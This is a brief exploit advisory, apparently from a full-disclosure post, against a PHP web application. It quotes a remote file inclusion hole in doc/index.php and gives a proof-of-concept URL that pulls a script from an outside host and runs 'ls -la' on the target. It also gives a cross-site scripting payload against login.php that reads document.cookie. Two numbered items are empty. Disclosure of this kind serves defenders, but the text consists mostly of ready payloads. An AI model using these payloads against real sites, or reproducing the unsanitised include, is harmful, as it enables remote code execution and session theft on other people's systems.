 i)  vulnerable code in doc/index.php at lines:
  ...
  <?php

        if(isset($_REQUEST['s'])) {
                include($_REQUEST['s'].".html");
        }

  ?>
  ...

  nice code, isn't it? :)
  poc:
  http://[target]/[path]/doc/index.php?cmd=ls%20-la&s=http://somehost.com/suntzu
  (but you can submit arguments even trough cookies or POST data...)

  or:

  ii)

  iii)

  iv) xss:
  http://[target]/[path]/login.php?btag=<script>alert(document.cookie)</script>

  this is the exploit for i), works with allow_url_fopen = On
